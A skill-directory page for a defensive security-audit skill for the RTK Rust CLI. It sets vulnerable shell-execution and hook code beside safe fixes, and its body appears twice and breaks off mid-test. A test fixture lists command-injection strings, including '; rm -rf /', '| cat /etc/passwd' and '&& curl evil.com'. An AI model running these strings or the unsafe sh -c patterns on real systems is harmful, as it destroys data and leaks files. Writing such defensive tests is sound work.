/security-guardian
CLI security expert for RTK - command injection, shell escaping, hook security
Claude Code
$ npx -y skills add rtk-ai/rtk --skill security-guardian --agent claude-code
Codex
$ npx skills add rtk-ai/rtk --skill security-guardian -a codex -y
Cursor
$ npx skills add rtk-ai/rtk --skill security-guardian -a cursor -y
Gemini CLI
$ npx skills add rtk-ai/rtk --skill security-guardian -a gemini-cli -y
GitHub Copilot
$ npx skills add rtk-ai/rtk --skill security-guardian -a github-copilot -y
OpenCode
$ npx skills add rtk-ai/rtk --skill security-guardian -a opencode -y
Windsurf
$ npx skills add rtk-ai/rtk --skill security-guardian -a windsurf -y
SKILL.md
security-guardian.SKILL.mddescription: CLI security expert for RTK - command injection, shell escaping, hook security
allowed-tools: Read Grep Glob Bash
Security Guardian
Comprehensive security analysis for RTK CLI tool, focusing on **command injection**, **shell escaping**, **hook security**, and **malicious input handling**.
When to Use
- **Automatically triggered**: After filter changes, shell command execution logic, hook modifications
- **Manual invocation**: Before release, after security-sensitive code changes
- **Proactive**: When handling user input, executing shell commands, or parsing untrusted output
RTK Security Threat Model
RTK faces unique security challenges as a CLI proxy that: 1. **Executes shell commands** based on user input 2. **Parses untrusted command output** (git, cargo, gh, etc.) 3. **Integrates with Claude Code hooks** (rtk-rewrite.sh, rtk-suggest.sh) 4. **Routes commands transparently** (command injection vectors)
Threat Categories
| Threat | Severity | Impact | Mitigation | |--------|----------|--------|------------| | **Command Injection** | 🔴 CRITICAL | Remote code execution | Input validation, shell escaping | | **Shell Escaping** | 🔴 CRITICAL | Arbitrary command execution | Platform-specific escaping | | **Hook Injection** | 🟡 HIGH | Hook hijacking, command interception | Permission checks, signature validation | | **Malicious Output** | 🟡 MEDIUM | RTK crash, DoS | Robust parsing, error handling | | **Path Traversal** | 🟢 LOW | File access outside filters/ | Path sanitization |
Security Analysis Workflow
1. Threat Identification
**Questions to ask** for every code change:
Input Validation:
- Does this code accept user input?
- Is the input validated before use?
- Can special characters (;, |, &, $, `, \, etc.) cause issues?
Shell Execution:
- Does this code execute shell commands?
- Are command arguments properly escaped?
- Is std::process::Command used (safe) or shell=true (dangerous)?
Output Parsing:
- Does this code parse external command output?
- Can malformed output cause panics or crashes?
- Are regex patterns tested against malicious input?
Hook Integration:
- Does this code modify hooks?
- Are hook permissions validated (executable bit)?
- Is hook source code integrity checked?
2. Code Audit Patterns
**Command Injection Detection**:
// 🔴 CRITICAL: Shell injection vulnerability
let user_input = env::args().nth(1).unwrap();
let cmd = format!("git log {}", user_input); // DANGEROUS!
std::process::Command::new("sh")
.arg("-c")
.arg(&cmd) // Attacker can inject: `; rm -rf /`
.spawn();
// ✅ SAFE: Use Command builder, not shell
use std::process::Command;
let user_input = env::args().nth(1).unwrap();
Command::new("git")
.arg("log")
.arg(&user_input) // Safely passed as argument, not interpreted by shell
.spawn();**Shell Escaping Vulnerability**:
// 🔴 CRITICAL: No escaping for special chars
fn execute_raw(cmd: &str, args: &[&str]) -> Result<Output> {
let full_cmd = format!("{} {}", cmd, args.join(" "));
Command::new("sh")
.arg("-c")
.arg(&full_cmd) // DANGEROUS: args not escaped
.output()
}
// ✅ SAFE: Use Command builder, automatic escaping
fn execute_raw(cmd: &str, args: &[&str]) -> Result<Output> {
Command::new(cmd)
.args(args) // Safely escaped by Command API
.output()
}**Malicious Output Handling**:
// 🔴 CRITICAL: Panic on unexpected output
fn filter_git_log(input: &str) -> String {
let first_line = input.lines().next().unwrap(); // Panic if empty!
let hash = &first_line[7..47]; // Panic if line too short!
hash.to_string()
}
// ✅ SAFE: Graceful error handling
fn filter_git_log(input: &str) -> Result<String> {
let first_line = input.lines().next()
.ok_or_else(|| anyhow::anyhow!("Empty input"))?;
if first_line.len() < 47 {
bail!("Invalid git log format");
}
Ok(first_line[7..47].to_string())
}**Hook Injection Prevention**:
# 🔴 CRITICAL: Hook not checking source
#!/bin/bash
# rtk-rewrite.sh
# Execute command without validation
eval "$CLAUDE_CODE_HOOK_BASH_TEMPLATE" # DANGEROUS!
# ✅ SAFE: Validate hook environment
#!/bin/bash
# rtk-rewrite.sh
# Verify running in Claude Code context
if [ -z "$CLAUDE_CODE_HOOK_BASH_TEMPLATE" ]; then
echo "Error: Not running in Claude Code context"
exit 1
fi
# Validate RTK binary exists and is executable
if ! command -v rtk >/dev/null 2>&1; then
echo "Error: rtk binary not found"
exit 1
fi
# Execute with explicit path (no PATH hijacking)
/usr/local/bin/rtk "$@"3. Security Testing
**Command Injection Tests**:
#[cfg(test)]
mod security_tests {
use super::*;
#[test]
fn test_command_injection_defense() {
// Malicious input: attempt shell injection
let malicious_inputs = vec![
"; rm -rf /",
"| cat /etc/passwd",
"$(whoami)",
"`id`",
"&& curl evil.com",
];
for input in malicious_inputs {
// Should NOT execute injected commands
let result = execute_command("git", &["log", input]);
// Either:
// 1. Returns error (command fails safely), OR
// 2. Treats input as literal string (no shell interpretation)
// Both acceptable - just don't execute injection!
}
}
#[test]
fn test_shell_escaping() {
// Special characters that need escaping
let special_chars = vec![
";", "|", "&", "$", "`", "\\", "\"", "'", "\n", "\r",
];
for char in special_chars {
let arg = format!("test{}value", char);
let escaped = escape_for_shell(&arg);
// Escaped version should NOT be interpreted by shell
assert!(!escaped.contains(char) || escaped.contains('\\'));
}
}
}**Malicious Output Tests**:
#[test
Read more
description: CLI security expert for RTK - command injection, shell escaping, hook security allowed-tools: Read Grep Glob Bash
Security Guardian
Comprehensive security analysis for RTK CLI tool, focusing on **command injection**, **shell escaping**, **hook security**, and **malicious input handling**.
When to Use
- **Automatically triggered**: After filter changes, shell command execution logic, hook modifications
- **Manual invocation**: Before release, after security-sensitive code changes
- **Proactive**: When handling user input, executing shell commands, or parsing untrusted output
RTK Security Threat Model
RTK faces unique security challenges as a CLI proxy that: 1. **Executes shell commands** based on user input 2. **Parses untrusted command output** (git, cargo, gh, etc.) 3. **Integrates with Claude Code hooks** (rtk-rewrite.sh, rtk-suggest.sh) 4. **Routes commands transparently** (command injection vectors)
Threat Categories
| Threat | Severity | Impact | Mitigation | |--------|----------|--------|------------| | **Command Injection** | 🔴 CRITICAL | Remote code execution | Input validation, shell escaping | | **Shell Escaping** | 🔴 CRITICAL | Arbitrary command execution | Platform-specific escaping | | **Hook Injection** | 🟡 HIGH | Hook hijacking, command interception | Permission checks, signature validation | | **Malicious Output** | 🟡 MEDIUM | RTK crash, DoS | Robust parsing, error handling | | **Path Traversal** | 🟢 LOW | File access outside filters/ | Path sanitization |
Security Analysis Workflow
1. Threat Identification
**Questions to ask** for every code change:
Input Validation: - Does this code accept user input? - Is the input validated before use? - Can special characters (;, |, &, $, `, \, etc.) cause issues? Shell Execution: - Does this code execute shell commands? - Are command arguments properly escaped? - Is std::process::Command used (safe) or shell=true (dangerous)? Output Parsing: - Does this code parse external command output? - Can malformed output cause panics or crashes? - Are regex patterns tested against malicious input? Hook Integration: - Does this code modify hooks? - Are hook permissions validated (executable bit)? - Is hook source code integrity checked?
2. Code Audit Patterns
**Command Injection Detection**:
// 🔴 CRITICAL: Shell injection vulnerability
let user_input = env::args().nth(1).unwrap();
let cmd = format!("git log {}", user_input); // DANGEROUS!
std::process::Command::new("sh")
.arg("-c")
.arg(&cmd) // Attacker can inject: `; rm -rf /`
.spawn();
// ✅ SAFE: Use Command builder, not shell
use std::process::Command;
let user_input = env::args().nth(1).unwrap();
Command::new("git")
.arg("log")
.arg(&user_input) // Safely passed as argument, not interpreted by shell
.spawn();**Shell Escaping Vulnerability**:
// 🔴 CRITICAL: No escaping for special chars
fn execute_raw(cmd: &str, args: &[&str]) -> Result<Output> {
let full_cmd = format!("{} {}", cmd, args.join(" "));
Command::new("sh")
.arg("-c")
.arg(&full_cmd) // DANGEROUS: args not escaped
.output()
}
// ✅ SAFE: Use Command builder, automatic escaping
fn execute_raw(cmd: &str, args: &[&str]) -> Result<Output> {
Command::new(cmd)
.args(args) // Safely escaped by Command API
.output()
}**Malicious Output Handling**:
// 🔴 CRITICAL: Panic on unexpected output
fn filter_git_log(input: &str) -> String {
let first_line = input.lines().next().unwrap(); // Panic if empty!
let hash = &first_line[7..47]; // Panic if line too short!
hash.to_string()
}
// ✅ SAFE: Graceful error handling
fn filter_git_log(input: &str) -> Result<String> {
let first_line = input.lines().next()
.ok_or_else(|| anyhow::anyhow!("Empty input"))?;
if first_line.len() < 47 {
bail!("Invalid git log format");
}
Ok(first_line[7..47].to_string())
}**Hook Injection Prevention**:
# 🔴 CRITICAL: Hook not checking source
#!/bin/bash
# rtk-rewrite.sh
# Execute command without validation
eval "$CLAUDE_CODE_HOOK_BASH_TEMPLATE" # DANGEROUS!
# ✅ SAFE: Validate hook environment
#!/bin/bash
# rtk-rewrite.sh
# Verify running in Claude Code context
if [ -z "$CLAUDE_CODE_HOOK_BASH_TEMPLATE" ]; then
echo "Error: Not running in Claude Code context"
exit 1
fi
# Validate RTK binary exists and is executable
if ! command -v rtk >/dev/null 2>&1; then
echo "Error: rtk binary not found"
exit 1
fi
# Execute with explicit path (no PATH hijacking)
/usr/local/bin/rtk "$@"3. Security Testing
**Command Injection Tests**:
#[cfg(test)]
mod security_tests {
use super::*;
#[test]
fn test_command_injection_defense() {
// Malicious input: attempt shell injection
let malicious_inputs = vec![
"; rm -rf /",
"| cat /etc/passwd",
"$(whoami)",
"`id`",
"&& curl evil.com",
];
for input in malicious_inputs {
// Should NOT execute injected commands
let result = execute_command("git", &["log", input]);
// Either:
// 1. Returns error (command fails safely), OR
// 2. Treats input as literal string (no shell interpretation)
// Both acceptable - just don't execute injection!
}
}
#[test]
fn test_shell_escaping() {
// Special characters that need escaping
let special_chars = vec![
";", "|", "&", "$", "`", "\\", "\"", "'", "\n", "\r",
];
for char in special_chars {
let arg = format!("test{}value", char);
let escaped = escape_for_shell(&arg);
// Escaped version should NOT be interpreted by shell
assert!(!escaped.contains(char) || escaped.contains('\\'));
}
}
}**Malicious Output Tests**:
#[test
CLI proxy that reduces LLM token consumption by 60-90% on common dev commands. Single Rust binary, zero dependencies
Other skills on rtk.
More skills from other plugins.
brainstorming
You MUST use this before any creative work - creating features, building components, adding functionality, modifying behavior, or…
ask-matt
Ask which skill or flow fits your situation. A router over the skills in this repo.
Questions about security-guardian.
- Which coding agents can use security-guardian?
- security-guardian installs in Claude Code, Codex, Cursor, Gemini CLI, GitHub Copilot, OpenCode and Windsurf with the skills CLI, using each agent's flag shown on this page. Flowy's auto-invocation, which fires a skill when your prompt matches, runs in Claude Code only.

